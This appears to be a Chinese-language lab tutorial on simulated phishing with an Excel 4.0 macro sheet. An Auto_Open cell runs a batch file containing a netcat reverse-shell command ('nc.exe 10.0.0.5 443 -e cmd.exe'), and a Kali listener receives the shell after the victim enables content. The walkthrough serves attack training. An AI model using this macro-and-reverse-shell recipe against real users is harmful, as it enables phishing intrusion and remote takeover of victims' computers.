通过Windows的office,可以实施许多钓鱼攻击,这里对其中的XLM / Macro 4.0,也就是MS Excel 4.0宏表,进行一个模拟钓鱼攻击,直接反弹shell。
实现效果如下:
环境
本文使用的环境和工具如下(可选择其他版本的系统和office):
- Netcat for Windows,即nc.exe
攻击机1(用于制造钓鱼文件):
- Windows 10
- Microsoft Office Excel 2016
攻击机2:
- kali
靶机:
- Windows 10
- Microsoft Office Excel 2016(不一定需要和攻击机一致)
相关知识
- 钓鱼攻击:钓鱼式攻击是指企图从电子通讯中,通过伪装成信誉卓著的法人媒体以获得如用户名、密码和信用卡明细等个人敏感信息的犯罪诈骗过程。
- Excel宏:Excel 宏指的是,使用 Excel 内置的编程语言 VBA (Visual Basic for Applications)写的,能在 Excel 环境里运行的一系列操作指令。我们在 Excel 里手动进行的几乎所有操作,宏(VBA)也都可以操作。
钓鱼文件准备
在攻击机1上准备钓鱼文件(如果没有那么多虚拟机,直接在靶机上制作也可):
首先,新建一个Excel文件,并打开,在左下角的sheet
处右键单击,选择插入:
在弹出的对话框处选择MS Excel 4.0宏表
,点击确定
:
完成之后,可以看到左下角多出了一个宏的栏目:
分别在A1和A2处的表格内输入宏命令:
=exec("c:\shell.cmd")
=halt()
如图所示:
然后更改A1
为Auto_Open
,修改完毕回车,这样可以一打开文件就开始加载指令:
最后,保存为后缀为xlsm
的文件:
将该文件传至靶机,任意目录均可。
下载Netcat for Windows,解压,移动到靶机上,记住其存放地址
新建一个TXT文件,写入内容:
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
其中,C:\tools\nc.exe
为刚刚记住的nc的存放路径,10.0.0.5
为反弹shell的攻击机ip
重命名该文件为shell.cmd
,然后移动到靶机的C盘根目录下
实施攻击
打开攻击机2,也就是kali,输入命令回车:
nc -lvnp 443
可以看到,监听已经建立:
然后打开靶机,在靶机内打开钓鱼文件,点击启用内容
:
查看Windows下方任务栏,可以看到唤起了一个cmd程序:
同时,可以看到kali上已经建立了连接,可以在靶机上执行任意命令:
说明钓鱼攻击反弹shell成功。